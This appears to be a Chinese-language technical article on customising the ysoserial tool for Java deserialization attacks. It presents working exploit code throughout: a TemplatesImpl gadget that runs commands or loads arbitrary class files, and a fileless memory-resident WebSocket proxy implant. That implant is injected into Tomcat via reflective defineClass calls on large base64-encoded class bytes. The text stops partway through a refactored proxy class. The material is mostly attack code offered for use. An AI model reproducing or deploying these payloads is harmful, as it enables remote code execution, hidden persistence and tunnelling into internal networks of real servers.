本文主要是围绕在Java反序列化利用过程中,默认使用 ysoserial 带来的一些问题和局限性。通对代码的二次改造,最终能完成序列化数据的体积的减少和Websocket类型正向代理的无文件植入。
常用改造 ysoserial 任意类加载执行方式
public static <T> T createTemplatesImpl ( final String command, Class<T> tplClass, Class<?> abstTranslet, Class<?> transFactory )
throws Exception {
final T templates = tplClass.newInstance();
// use template gadget class
ClassPool pool = ClassPool.getDefault();
pool.insertClassPath(new ClassClassPath(StubTransletPayload.class));
pool.insertClassPath(new ClassClassPath(abstTranslet));
final CtClass clazz = pool.get(StubTransletPayload.class.getName());
// run command in static initializer
// TODO: could also do fun things like injecting a pure-java rev/bind-shell to bypass naive protections
String cmd = "java.lang.Runtime.getRuntime().exec(\"" +
command.replace("\\", "\\\\").replace("\"", "\\\"") +
"\");";
clazz.makeClassInitializer().insertAfter(cmd);
// sortarandom name to allow repeated exploitation (watch out for PermGen exhaustion)
clazz.setName("ysoserial.Pwner" + System.nanoTime());
CtClass superC = pool.get(abstTranslet.getName());
clazz.setSuperclass(superC);
final byte[] classBytes = clazz.toBytecode();
// inject class bytes into instance
Reflections.setFieldValue(templates, "_bytecodes", new byte[][] {
classBytes, ClassFiles.classAsBytes(Foo.class)
});
// required to make TemplatesImpl happy
Reflections.setFieldValue(templates, "_name", "Pwnr");
Reflections.setFieldValue(templates, "_tfactory", transFactory.newInstance());
return templates;
}
}else if(command.startsWith("classfile:")){
String path = command.split(":")[1];
FileInputStream in =new FileInputStream(new File(path));
classBytes=new byte[in.available()];
in.read(classBytes);
in.close();
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import java.io.IOException;
public class CMD extends AbstractTranslet {
public CMD() throws IOException {
Runtime.getRuntime().exec("open -a calculator.app");
}
@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}
}
反序列后成功执行了代码,移除继承AbstractTranslet后。
import java.io.IOException;
public class CMD{
public CMD() throws IOException {
Runtime.getRuntime().exec("open -a calculator.app");
}
}
反序列化植入 WebSocket Proxy
public class Tomcat_mbean_add_listener extends AbstractTranslet implements ServletRequestListener {
import javax.websocket.EndpointConfig;
import javax.websocket.MessageHandler;
import javax.websocket.Session;
import javax.websocket.*;
import java.io.ByteArrayOutputStream;
import java.net.InetSocketAddress;
import java.nio.ByteBuffer;
import java.nio.channels.AsynchronousSocketChannel;
import java.nio.channels.CompletionHandler;
import java.util.HashMap;
import java.util.concurrent.Future;
import java.util.concurrent.TimeUnit;
public class ProxyEndpoint extends Endpoint {
long i =0;
ByteArrayOutputStream baos = new ByteArrayOutputStream();
HashMap<String, AsynchronousSocketChannel> map = new HashMap<String,AsynchronousSocketChannel>();
static class Attach {
public AsynchronousSocketChannel client;
public Session channel;
}
void readFromServer(Session channel,AsynchronousSocketChannel client){
final ByteBuffer buffer = ByteBuffer.allocate(50000);
Attach attach = new Attach();
attach.client = client;
attach.channel = channel;
client.read(buffer, attach, new CompletionHandler<Integer, Attach>() {
@Override
public void completed(Integer result, final Attach scAttachment) {
buffer.clear();
try {
if(buffer.hasRemaining() && result>=0)
{
byte[] arr = new byte[result];
ByteBuffer b = buffer.get(arr,0,result);
baos.write(arr,0,result);
ByteBuffer q = ByteBuffer.wrap(baos.toByteArray());
if (scAttachment.channel.isOpen()) {
scAttachment.channel.getBasicRemote().sendBinary(q);
}
baos = new ByteArrayOutputStream();
readFromServer(scAttachment.channel,scAttachment.client);
}else{
if(result > 0)
{
byte[] arr = new byte[result];
ByteBuffer b = buffer.get(arr,0,result);
baos.write(arr,0,result);
readFromServer(scAttachment.channel,scAttachment.client);
}
}
} catch (Exception ignored) {}
}
@Override
public void failed(Throwable t, Attach scAttachment) {t.printStackTrace();}
});
}
void process(ByteBuffer z,Session channel)
{
try{
if(i>1)
{
AsynchronousSocketChannel client = map.get(channel.getId());
client.write(z).get();
z.flip();
z.clear();
}
else if(i==1)
{
String values = new String(z.array());
String[] array = values.split(" ");
String[] addrarray = array[1].split(":");
AsynchronousSocketChannel client = AsynchronousSocketChannel.open();
int po = Integer.parseInt(addrarray[1]);
InetSocketAddress hostAddress = new InetSocketAddress(addrarray[0], po);
Future<Void> future = client.connect(hostAddress);
try {
future.get(10, TimeUnit.SECONDS);
} catch(Exception ignored){
channel.getBasicRemote().sendText("HTTP/1.1 503 Service Unavailable\r\n\r\n");
return;
}
map.put(channel.getId(), client);
readFromServer(channel,client);
channel.getBasicRemote().sendText("HTTP/1.1 200 Connection Established\r\n\r\n");
}
}catch(Exception ignored){
}
}
@Override
public void onOpen(final Session session, EndpointConfig config) {
i=0;
session.setMaxBinaryMessageBufferSize(1024*1024*20);
session.setMaxTextMessageBufferSize(1024*1024*20);
session.addMessageHandler(new MessageHandler.Whole<ByteBuffer>() {
@Override
public void onMessage(ByteBuffer message) {
try {
message.clear();
i++;
process(message,session);
} catch (Exception ignored) {
}
}
});
}
}
String path = request.getParameter("path");
ServletContext servletContext = request.getSession().getServletContext();
byte [] b = null;
try {
if (servletContext.getAttribute(path) == null){
Method m = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
m.setAccessible(true);
b = new BASE64Decoder().decodeBuffer("yv66vgAAADQA3AoANgB1CQA1AHYHAHcKAAMAdQkANQB4BwB5CgAGAHUJADUAegMAAMNQCgB7AHwHAH0KAAsAdQkACwB+CQALAH8HAIAKAA8AgQoAFACCCwCDAIQKAAYAhQcAhgoAFACHCwCIAIkKAHsAigoAewCLBwCMCgB7AI0KABkAjggAjwoAGQCQCACRCgAUAJIKAJMAlAcAlQoAIQCWCgAUAJcFAAAAAAAAAAoJAJgAmQsAiACaBwCbCwCDAJwIAJ0LAJ4AnwoABgCgCgA1AKEIAKIDAUAAAAsAgwCjCwCDAKQHAKUKADIApgsAgwCnBwCoBwCpAQAGQXR0YWNoAQAMSW5uZXJDbGFzc2VzAQABaQEAAUoBAARiYW9zAQAfTGphdmEvaW8vQnl0ZUFycmF5T3V0cHV0U3RyZWFtOwEAA21hcAEAE0xqYXZhL3V0aWwvSGFzaE1hcDsBAAlTaWduYXR1cmUBAFRMamF2YS91dGlsL0hhc2hNYXA8TGphdmEvbGFuZy9TdHJpbmc7TGphdmEvbmlvL2NoYW5uZWxzL0FzeW5jaHJvbm91c1NvY2tldENoYW5uZWw7PjsBAAY8aW5pdD4BAAMoKVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQASTG9jYWxWYXJpYWJsZVRhYmxlAQAEdGhpcwEAD0xQcm94eUVuZHBvaW50OwEADnJlYWRGcm9tU2VydmVyAQBJKExqYXZheC93ZWJzb2NrZXQvU2Vzc2lvbjtMamF2YS9uaW8vY2hhbm5lbHMvQXN5bmNocm9ub3VzU29ja2V0Q2hhbm5lbDspVgEAB2NoYW5uZWwBABlMamF2YXgvd2Vic29ja2V0L1Nlc3Npb247AQAGY2xpZW50AQAtTGphdmEvbmlvL2NoYW5uZWxzL0FzeW5jaHJvbm91c1NvY2tldENoYW5uZWw7AQAGYnVmZmVyAQAVTGphdmEvbmlvL0J5dGVCdWZmZXI7AQAGYXR0YWNoAQAWTFByb3h5RW5kcG9pbnQkQXR0YWNoOwEAB3Byb2Nlc3MBADEoTGphdmEvbmlvL0J5dGVCdWZmZXI7TGphdmF4L3dlYnNvY2tldC9TZXNzaW9uOylWAQAHaWdub3JlZAEAFUxqYXZhL2xhbmcvRXhjZXB0aW9uOwEABnZhbHVlcwEAEkxqYXZhL2xhbmcvU3RyaW5nOwEABWFycmF5AQATW0xqYXZhL2xhbmcvU3RyaW5nOwEACWFkZHJhcnJheQEAAnBvAQABSQEAC2hvc3RBZGRyZXNzAQAcTGphdmEvbmV0L0luZXRTb2NrZXRBZGRyZXNzOwEABmZ1dHVyZQEAHUxqYXZhL3V0aWwvY29uY3VycmVudC9GdXR1cmU7AQABegEAFkxvY2FsVmFyaWFibGVUeXBlVGFibGUBAC9MamF2YS91dGlsL2NvbmN1cnJlbnQvRnV0dXJlPExqYXZhL2xhbmcvVm9pZDs+OwEADVN0YWNrTWFwVGFibGUHAKgHAKoHAKsHAIwHAFkHAIYHAJUHAKwHAJsBAAZvbk9wZW4BADwoTGphdmF4L3dlYnNvY2tldC9TZXNzaW9uO0xqYXZheC93ZWJzb2NrZXQvRW5kcG9pbnRDb25maWc7KVYBAAdzZXNzaW9uAQAGY29uZmlnAQAgTGphdmF4L3dlYnNvY2tldC9FbmRwb2ludENvbmZpZzsBAApTb3VyY2VGaWxlAQASUHJveHlFbmRwb2ludC5qYXZhDABBAEIMADkAOgEAHWphdmEvaW8vQnl0ZUFycmF5T3V0cHV0U3RyZWFtDAA7ADwBABFqYXZhL3V0aWwvSGFzaE1hcAwAPQA+BwCqDACtAK4BABRQcm94eUVuZHBvaW50JEF0dGFjaAwATABNDABKAEsBAA9Qcm94eUVuZHBvaW50JDEMAEEArwwAsACxBwCrDACyALMMALQAtQEAK2phdmEvbmlvL2NoYW5uZWxzL0FzeW5jaHJvbm91c1NvY2tldENoYW5uZWwMALYAtwcArAwAtAC4DAC5ALoMALsAugEAEGphdmEvbGFuZy9TdHJpbmcMAFgAvAwAQQC9AQABIAwAvgC/AQABOgwAwADBBwDCDADDAMQBABpqYXZhL25ldC9JbmV0U29ja2V0QWRkcmVzcwwAQQDFDADGAMcHAMgMAMkAygwAtADLAQATamF2YS9sYW5nL0V4Y2VwdGlvbgwAzADOAQAkSFRUUC8xLjEgNTAzIFNlcnZpY2UgVW5hdmFpbGFibGUNCg0KBwDQDADRANIMANMA1AwASABJAQAnSFRUUC8xLjEgMjAwIENvbm5lY3Rpb24gRXN0YWJsaXNoZWQNCg0KDADVANYMANcA1gEAD1Byb3h5RW5kcG9pbnQkMgwAQQDYDADZANoBAA1Qcm94eUVuZHBvaW50AQAYamF2YXgvd2Vic29ja2V0L0VuZHBvaW50AQATamF2YS9uaW8vQnl0ZUJ1ZmZlcgEAF2phdmF4L3dlYnNvY2tldC9TZXNzaW9uAQAbamF2YS91dGlsL2NvbmN1cnJlbnQvRnV0dXJlAQAIYWxsb2NhdGUBABgoSSlMamF2YS9uaW8vQnl0ZUJ1ZmZlcjsBACcoTFByb3h5RW5kcG9pbnQ7TGphdmEvbmlvL0J5dGVCdWZmZXI7KVYBAARyZWFkAQBPKExqYXZhL25pby9CeXRlQnVmZmVyO0xqYXZhL2xhbmcvT2JqZWN0O0xqYXZhL25pby9jaGFubmVscy9Db21wbGV0aW9uSGFuZGxlcjspVgEABWdldElkAQAUKClMamF2YS9sYW5nL1N0cmluZzsBAANnZXQBACYoTGphdmEvbGFuZy9PYmplY3Q7KUxqYXZhL2xhbmcvT2JqZWN0OwEABXdyaXRlAQA0KExqYXZhL25pby9CeXRlQnVmZmVyOylMamF2YS91dGlsL2NvbmN1cnJlbnQvRnV0dXJlOwEAFCgpTGphdmEvbGFuZy9PYmplY3Q7AQAEZmxpcAEAEygpTGphdmEvbmlvL0J1ZmZlcjsBAAVjbGVhcgEABCgpW0IBAAUoW0IpVgEABXNwbGl0AQAnKExqYXZhL2xhbmcvU3RyaW5nOylbTGphdmEvbGFuZy9TdHJpbmc7AQAEb3BlbgEALygpTGphdmEvbmlvL2NoYW5uZWxzL0FzeW5jaHJvbm91c1NvY2tldENoYW5uZWw7AQARamF2YS9sYW5nL0ludGVnZXIBAAhwYXJzZUludAEAFShMamF2YS9sYW5nL1N0cmluZzspSQEAFihMamF2YS9sYW5nL1N0cmluZztJKVYBAAdjb25uZWN0AQA3KExqYXZhL25ldC9Tb2NrZXRBZGRyZXNzOylMamF2YS91dGlsL2NvbmN1cnJlbnQvRnV0dXJlOwEAHWphdmEvdXRpbC9jb25jdXJyZW50L1RpbWVVbml0AQAHU0VDT05EUwEAH0xqYXZhL3V0aWwvY29uY3VycmVudC9UaW1lVW5pdDsBADQoSkxqYXZhL3V0aWwvY29uY3VycmVudC9UaW1lVW5pdDspTGphdmEvbGFuZy9PYmplY3Q7AQAOZ2V0QmFzaWNSZW1vdGUBAAVCYXNpYwEAKCgpTGphdmF4L3dlYnNvY2tldC9SZW1vdGVFbmRwb2ludCRCYXNpYzsHANsBACRqYXZheC93ZWJzb2NrZXQvUmVtb3RlRW5kcG9pbnQkQmFzaWMBAAhzZW5kVGV4dAEAFShMamF2YS9sYW5nL1N0cmluZzspVgEAA3B1dAEAOChMamF2YS9sYW5nL09iamVjdDtMamF2YS9sYW5nL09iamVjdDspTGphdmEvbGFuZy9PYmplY3Q7AQAdc2V0TWF4QmluYXJ5TWVzc2FnZUJ1ZmZlclNpemUBAAQoSSlWAQAbc2V0TWF4VGV4dE1lc3NhZ2VCdWZmZXJTaXplAQArKExQcm94eUVuZHBvaW50O0xqYXZheC93ZWJzb2NrZXQvU2Vzc2lvbjspVgEAEWFkZE1lc3NhZ2VIYW5kbGVyAQAjKExqYXZheC93ZWJzb2NrZXQvTWVzc2FnZUhhbmRsZXI7KVYBAB5qYXZheC93ZWJzb2NrZXQvUmVtb3RlRW5kcG9pbnQAIQA1ADYAAAADAAAAOQA6AAAAAAA7ADwAAAAAAD0APgABAD8AAAACAEAABAABAEEAQgABAEMAAABWAAMAAQAAACAqtwABKgm1AAIquwADWbcABLUABSq7AAZZtwAHtQAIsQAAAAIARAAAABIABAAAAA4ABAAPAAkAEAAUABEARQAAAAwAAQAAACAARgBHAAAAAABIAEkAAQBDAAAAkgAHAAUAAAAsEgm4AApOuwALWbcADDoEGQQstQANGQQrtQAOLC0ZBLsAD1kqLbcAELYAEbEAAAACAEQAAAAaAAYAAAAXAAYAGAAPABkAFQAaABsAGwArADkARQAAADQABQAAACwARgBHAAAAAAAsAEoASwABAAAALABMAE0AAgAGACYATgBPAAMADwAdAFAAUQAEAAAAUgBTAAEAQwAAAjEABAALAAAAyiq0AAIKlJ4ALCq0AAgsuQASAQC2ABPAABROLSu2ABW5ABYBAFcrtgAXVyu2ABhXpwCWKrQAAgqUmgCNuwAZWSu2ABq3ABtOLRIctgAdOgQZBAQyEh62AB06BbgAHzoGGQUEMrgAIDYHuwAhWRkFAzIVB7cAIjoIGQYZCLYAIzoJGQkUACSyACa5ACcEAFenABM6Ciy5ACkBABIquQArAgCxKrQACCy5ABIBABkGtgAsVyosGQa2AC0suQApAQASLrkAKwIApwAETrEAAwCAAI4AkQAoAAAAoADIACgAoQDFAMgAKAAEAEQAAABmABkAAAA9AAkAPwAaAEAAJQBBACoAQgAvAEMAMgBEADsARgBHAEcATwBIAFoASQBfAEoAaABLAHcATACAAE4AjgBSAJEATwCTAFAAoABRAKEAUwCxAFQAuABVAMUAWADIAFcAyQBZAEUAAAB6AAwAGgAVAEwATQADAJMADgBUAFUACgBHAH4AVgBXAAMATwB2AFgAWQAEAFoAawBaAFkABQBfAGYATABNAAYAaABdAFsAXAAHAHcATgBdAF4ACACAAEUAXwBgAAkAAADKAEYARwAAAAAAygBhAE8AAQAAAMoASgBLAAIAYgAAAAwAAQCAAEUAXwBjAAkAZAAAAD8ABjL/AF4ACgcAZQcAZgcAZwcAaAcAaQcAaQcAagEHAGsHAGwAAQcAbQ//ACMAAwcAZQcAZgcAZwAAQgcAbQAAAQBuAG8AAQBDAAAAcwAFAAMAAAAlKgm1AAIrEi+5ADACACsSL7kAMQIAK7sAMlkqK7cAM7kANAIAsQAAAAIARAAAABYABQAAAFwABQBdAA0AXgAVAF8AJABqAEUAAAAgAAMAAAAlAEYARwAAAAAAJQBwAEsAAQAAACUAcQByAAIAAgBzAAAAAgB0ADgAAAAiAAQACwA1ADcACAAyAAAAAAAAAA8AAAAAAAAAngDPAM0GCQ==");
m.invoke(Thread.currentThread().getContextClassLoader(), b, 0, b.length);
b = new BASE64Decoder().decodeBuffer("yv66vgAAADQAiAkAGgBFCQAaAEYKABsARwoASABJCgBIAEoKABgASwoASABMCQBDAE0KABAATgoAEABPCgBIAFAJABYAUQsAUgBTCwBSAFQLAFUAVgcAVwoAEABHCQAWAFgKAEMARAcAWQoAWgBbBwBcCgAaAF0HAF4KABoAXwcAYAcAYQcAYgEACnZhbCRidWZmZXIBABVMamF2YS9uaW8vQnl0ZUJ1ZmZlcjsBAAZ0aGlzJDABAA9MUHJveHlFbmRwb2ludDsBAAY8aW5pdD4BACcoTFByb3h5RW5kcG9pbnQ7TGphdmEvbmlvL0J5dGVCdWZmZXI7KVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQASTG9jYWxWYXJpYWJsZVRhYmxlAQAEdGhpcwEADElubmVyQ2xhc3NlcwEAEUxQcm94eUVuZHBvaW50JDE7AQAJY29tcGxldGVkAQAGQXR0YWNoAQAsKExqYXZhL2xhbmcvSW50ZWdlcjtMUHJveHlFbmRwb2ludCRBdHRhY2g7KVYBAANhcnIBAAJbQgEAAWIBAAFxAQAGcmVzdWx0AQATTGphdmEvbGFuZy9JbnRlZ2VyOwEADHNjQXR0YWNobWVudAEAFkxQcm94eUVuZHBvaW50JEF0dGFjaDsBAA1TdGFja01hcFRhYmxlBwAtBwBjBwBZAQAGZmFpbGVkAQAuKExqYXZhL2xhbmcvVGhyb3dhYmxlO0xQcm94eUVuZHBvaW50JEF0dGFjaDspVgEAAXQBABVMamF2YS9sYW5nL1Rocm93YWJsZTsBACooTGphdmEvbGFuZy9UaHJvd2FibGU7TGphdmEvbGFuZy9PYmplY3Q7KVYBACcoTGphdmEvbGFuZy9PYmplY3Q7TGphdmEvbGFuZy9PYmplY3Q7KVYBAAlTaWduYXR1cmUBAGJMamF2YS9sYW5nL09iamVjdDtMamF2YS9uaW8vY2hhbm5lbHMvQ29tcGxldGlvbkhhbmRsZXI8TGphdmEvbGFuZy9JbnRlZ2VyO0xQcm94eUVuZHBvaW50JEF0dGFjaDs+OwEAClNvdXJjZUZpbGUBABJQcm94eUVuZHBvaW50LmphdmEBAA9FbmNsb3NpbmdNZXRob2QHAGQMAGUAZgwAHwAgDAAdAB4MACEAZwcAYwwAaABpDABqAGsMAGwAbQwAbgBvDABwAHEMAHIAcwwAdAB1DAB2AHcMAHgAeQcAegwAewBrDAB8AH4HAIAMAIEAggEAHWphdmEvaW8vQnl0ZUFycmF5T3V0cHV0U3RyZWFtDACDAIQBABNqYXZhL2xhbmcvRXhjZXB0aW9uBwCFDACGAGcBABRQcm94eUVuZHBvaW50JEF0dGFjaAwAOAA5AQARamF2YS9sYW5nL0ludGVnZXIMACkAKwEAD1Byb3h5RW5kcG9pbnQkMQEAEGphdmEvbGFuZy9PYmplY3QBACNqYXZhL25pby9jaGFubmVscy9Db21wbGV0aW9uSGFuZGxlcgEAE2phdmEvbmlvL0J5dGVCdWZmZXIBAA1Qcm94eUVuZHBvaW50AQAOcmVhZEZyb21TZXJ2ZXIBAEkoTGphdmF4L3dlYnNvY2tldC9TZXNzaW9uO0xqYXZhL25pby9jaGFubmVscy9Bc3luY2hyb25vdXNTb2NrZXRDaGFubmVsOylWAQADKClWAQAFY2xlYXIBABMoKUxqYXZhL25pby9CdWZmZXI7AQAMaGFzUmVtYWluaW5nAQADKClaAQAIaW50VmFsdWUBAAMoKUkBAANnZXQBABsoW0JJSSlMamF2YS9uaW8vQnl0ZUJ1ZmZlcjsBAARiYW9zAQAfTGphdmEvaW8vQnl0ZUFycmF5T3V0cHV0U3RyZWFtOwEABXdyaXRlAQAHKFtCSUkpVgEAC3RvQnl0ZUFycmF5AQAEKClbQgEABHdyYXABABkoW0IpTGphdmEvbmlvL0J5dGVCdWZmZXI7AQAHY2hhbm5lbAEAGUxqYXZheC93ZWJzb2NrZXQvU2Vzc2lvbjsBABdqYXZheC93ZWJzb2NrZXQvU2Vzc2lvbgEABmlzT3BlbgEADmdldEJhc2ljUmVtb3RlAQAFQmFzaWMBACgoKUxqYXZheC93ZWJzb2NrZXQvUmVtb3RlRW5kcG9pbnQkQmFzaWM7BwCHAQAkamF2YXgvd2Vic29ja2V0L1JlbW90ZUVuZHBvaW50JEJhc2ljAQAKc2VuZEJpbmFyeQEAGChMamF2YS9uaW8vQnl0ZUJ1ZmZlcjspVgEABmNsaWVudAEALUxqYXZhL25pby9jaGFubmVscy9Bc3luY2hyb25vdXNTb2NrZXRDaGFubmVsOwEAE2phdmEvbGFuZy9UaHJvd2FibGUBAA9wcmludFN0YWNrVHJhY2UBAB5qYXZheC93ZWJzb2NrZXQvUmVtb3RlRW5kcG9pbnQAIAAaABsAAQAcAAIQEAAdAB4AABAQAB8AIAAAAAUAAAAhACIAAQAjAAAAQwACAAMAAAAPKiu1AAEqLLUAAiq3AAOxAAAAAgAkAAAABgABAAAAGwAlAAAAFgACAAAADwAmACgAAAAAAA8AHwAgAAEAAQApACsAAQAjAAABpAAEAAYAAADLKrQAArYABFcqtAACtgAFmQB7K7YABpsAdCu2AAa8CE4qtAACLQMrtgAGtgAHOgQqtAABtAAILQMrtgAGtgAJKrQAAbQACLYACrgACzoFLLQADLkADQEAmQATLLQADLkADgEAGQW5AA8CACq0AAG7ABBZtwARtQAIKrQAASy0AAwstAAStgATpwA/K7YABp4AOCu2AAa8CE4qtAACLQMrtgAGtgAHOgQqtAABtAAILQMrtgAGtgAJKrQAASy0AAwstAAStgATpwAETrEAAQAIAMYAyQAUAAMAJAAAAEoAEgAAAB4ACAAgABkAIgAgACMALwAkAD8AJQBOACYAWgAnAGoAKQB4ACoAhwArAIoALACRAC4AmAAvAKcAMAC3ADEAxgA0AMoANQAlAAAAUgAIACAAZwAsAC0AAwAvAFgALgAeAAQATgA5AC8AHgAFAJgALgAsAC0AAwCnAB8ALgAeAAQAAADLACYAKAAAAAAAywAwADEAAQAAAMsAMgAzAAIANAAAABcABf4AagcANQcANgcANvgAHztCBwA3AAABADgAOQABACMAAABDAAEAAwAAAAUrtgAVsQAAAAIAJAAAAAYAAQAAADcAJQAAACAAAwAAAAUAJgAoAAAAAAAFADoAOwABAAAABQAyADMAAhBBADgAPAABACMAAAA0AAMAAwAAAAoqKyzAABa2ABexAAAAAgAkAAAABgABAAAAGwAlAAAADAABAAAACgAmACgAABBBACkAPQABACMAAAA3AAMAAwAAAA0qK8AAGCzAABa2ABmxAAAAAgAkAAAABgABAAAAGwAlAAAADAABAAAADQAmACgAAAAEAD4AAAACAD8AQAAAAAIAQQBCAAAABABDAEQAJwAAABoAAwAaAAAAAAAAABYAQwAqAAgAVQB/AH0GCQ==");
m.invoke(Thread.currentThread().getContextClassLoader(), b, 0, b.length);
b = new BASE64Decoder().decodeBuffer("yv66vgAAADQAQAkACgAoCQAKACkKAAsAKgoACAArCQAmACwKACYALQcALgcALwoACgAwBwAxBwAyBwA0AQALdmFsJHNlc3Npb24BABlMamF2YXgvd2Vic29ja2V0L1Nlc3Npb247AQAGdGhpcyQwAQAPTFByb3h5RW5kcG9pbnQ7AQAGPGluaXQ+AQArKExQcm94eUVuZHBvaW50O0xqYXZheC93ZWJzb2NrZXQvU2Vzc2lvbjspVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQAMSW5uZXJDbGFzc2VzAQARTFByb3h5RW5kcG9pbnQkMjsBAAlvbk1lc3NhZ2UBABgoTGphdmEvbmlvL0J5dGVCdWZmZXI7KVYBAAdtZXNzYWdlAQAVTGphdmEvbmlvL0J5dGVCdWZmZXI7AQANU3RhY2tNYXBUYWJsZQcALgEAFShMamF2YS9sYW5nL09iamVjdDspVgEACVNpZ25hdHVyZQEABVdob2xlAQBPTGphdmEvbGFuZy9PYmplY3Q7TGphdmF4L3dlYnNvY2tldC9NZXNzYWdlSGFuZGxlciRXaG9sZTxMamF2YS9uaW8vQnl0ZUJ1ZmZlcjs+OwEAClNvdXJjZUZpbGUBABJQcm94eUVuZHBvaW50LmphdmEBAA9FbmNsb3NpbmdNZXRob2QHADUMADYANwwADwAQDAANAA4MABEAOAwAOQA6DAA7ADwMAD0APgEAE2phdmEvbGFuZy9FeGNlcHRpb24BABNqYXZhL25pby9CeXRlQnVmZmVyDAAZABoBAA9Qcm94eUVuZHBvaW50JDIBABBqYXZhL2xhbmcvT2JqZWN0BwA/AQAkamF2YXgvd2Vic29ja2V0L01lc3NhZ2VIYW5kbGVyJFdob2xlAQANUHJveHlFbmRwb2ludAEABm9uT3BlbgEAPChMamF2YXgvd2Vic29ja2V0L1Nlc3Npb247TGphdmF4L3dlYnNvY2tldC9FbmRwb2ludENvbmZpZzspVgEAAygpVgEABWNsZWFyAQATKClMamF2YS9uaW8vQnVmZmVyOwEAAWkBAAFKAQAHcHJvY2VzcwEAMShMamF2YS9uaW8vQnl0ZUJ1ZmZlcjtMamF2YXgvd2Vic29ja2V0L1Nlc3Npb247KVYBAB5qYXZheC93ZWJzb2NrZXQvTWVzc2FnZUhhbmRsZXIAIAAKAAsAAQAMAAIQEAANAA4AABAQAA8AEAAAAAMAAAARABIAAQATAAAAQwACAAMAAAAPKiu1AAEqLLUAAiq3AAOxAAAAAgAUAAAABgABAAAAXwAVAAAAFgACAAAADwAWABgAAAAAAA8ADwAQAAEAAQAZABoAAQATAAAAgAAFAAMAAAAjK7YABFcqtAABWbQABQphtQAFKrQAASsqtAACtgAGpwAETbEAAQAAAB4AIQAHAAMAFAAAABoABgAAAGMABQBkABIAZQAeAGcAIQBmACIAaAAVAAAAFgACAAAAIwAWABgAAAAAACMAGwAcAAEAHQAAAAcAAmEHAB4AEEEAGQAfAAEAEwAAADMAAgACAAAACSorwAAItgAJsQAAAAIAFAAAAAYAAQAAAF8AFQAAAAwAAQAAAAkAFgAYAAAABAAgAAAAAgAiACMAAAACACQAJQAAAAQAJgAnABcAAAASAAIACgAAAAAAAAAMADMAIQYJ");
m.invoke(Thread.currentThread().getContextClassLoader(), b, 0, b.length);
b = new BASE64Decoder().decodeBuffer("yv66vgAAADQAGAoAAwATBwAVBwAWAQAGY2xpZW50AQAtTGphdmEvbmlvL2NoYW5uZWxzL0FzeW5jaHJvbm91c1NvY2tldENoYW5uZWw7AQAHY2hhbm5lbAEAGUxqYXZheC93ZWJzb2NrZXQvU2Vzc2lvbjsBAAY8aW5pdD4BAAMoKVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQASTG9jYWxWYXJpYWJsZVRhYmxlAQAEdGhpcwEABkF0dGFjaAEADElubmVyQ2xhc3NlcwEAFkxQcm94eUVuZHBvaW50JEF0dGFjaDsBAApTb3VyY2VGaWxlAQASUHJveHlFbmRwb2ludC5qYXZhDAAIAAkHABcBABRQcm94eUVuZHBvaW50JEF0dGFjaAEAEGphdmEvbGFuZy9PYmplY3QBAA1Qcm94eUVuZHBvaW50ACAAAgADAAAAAgABAAQABQAAAAEABgAHAAAAAQAAAAgACQABAAoAAAAvAAEAAQAAAAUqtwABsQAAAAIACwAAAAYAAQAAABIADAAAAAwAAQAAAAUADQAQAAAAAgARAAAAAgASAA8AAAAKAAEAAgAUAA4ACA==");
m.invoke(Thread.currentThread().getContextClassLoader(), b, 0, b.length);
ServerEndpointConfig configEndpoint = ServerEndpointConfig.Builder.create(Thread.currentThread().getContextClassLoader().loadClass("ProxyEndpoint"), path).build();
ServerContainer container = (ServerContainer) servletContext.getAttribute(ServerContainer.class.getName());
container.addEndpoint(configEndpoint);
servletContext.setAttribute(path,path);
}
} catch (Exception e){
}
步骤1 单独类实现 Websocket 代理
import javax.websocket.Endpoint;
import javax.websocket.EndpointConfig;
import javax.websocket.MessageHandler;
import javax.websocket.Session;
import java.io.ByteArrayOutputStream;
import java.net.InetSocketAddress;
import java.nio.ByteBuffer;
import java.nio.channels.AsynchronousSocketChannel;
import java.nio.channels.CompletionHandler;
import java.util.HashMap;
import java.util.concurrent.Future;
import java.util.concurrent.TimeUnit;
public class ProxyEndpoint extends Endpoint implements CompletionHandler<Integer, ProxyEndpoint>, MessageHandler.Whole<ByteBuffer>{
long i =0;
Session session;
public AsynchronousSocketChannel client;
public Session channel;
ByteBuffer buffer;
ByteArrayOutputStream baos = new ByteArrayOutputStream();
HashMap<String, AsynchronousSocketChannel> map = new HashMap<String,AsynchronousSocketChannel>();
@Override
public void completed(Integer result, ProxyEndpoint attachment) {
this.buffer.clear();
try {
if(this.buffer.hasRemaining() && result>=0)
{
byte[] arr = new byte[result];
ByteBuffer b = this.buffer.get(arr,0,result);
baos.write(arr,0,result);
ByteBuffer q = ByteBuffer.wrap(baos.toByteArray());
if (this.channel.isOpen()) {
this.channel.getBasicRemote().sendBinary(q);
}
baos = new ByteArrayOutputStream();
readFromServer(this.channel,this.client);
}else{
if(result > 0)
{
byte[] arr = new byte[result];
ByteBuffer b = buffer.get(arr,0,result);
baos.write(arr,0,result);
readFromServer(this.channel,this.client);
}
}
} catch (Exception ignored) {}
}
@Override
public void failed(Throwable exc, ProxyEndpoint attachment) {
}
@Override
public void onMessage(ByteBuffer byteBuffer) {
try {
byteBuffer.clear();
i++;
process(byteBuffer, this.session);
} catch (Exception ignored) {
}
}
void readFromServer(Session channel,AsynchronousSocketChannel client){
this.buffer = ByteBuffer.allocate(50000);
this.client = client;
this.channel = channel;
client.read(this.buffer, this, this);
}
void process(ByteBuffer z,Session channel)
{
try{
if(i>1)
{
AsynchronousSocketChannel client = map.get(channel.getId());
client.write(z).get();
z.flip();
z.clear();
}
else if(i==1)
{
String values = new String(z.array());
String[] array = values.split(" ");
String[] addrarray = array[1].split(":");
AsynchronousSocketChannel client = AsynchronousSocketChannel.open();
int po = Integer.parseInt(addrarray[1]);
InetSocketAddress hostAddress = new InetSocketAddress(addrarray[0], po);
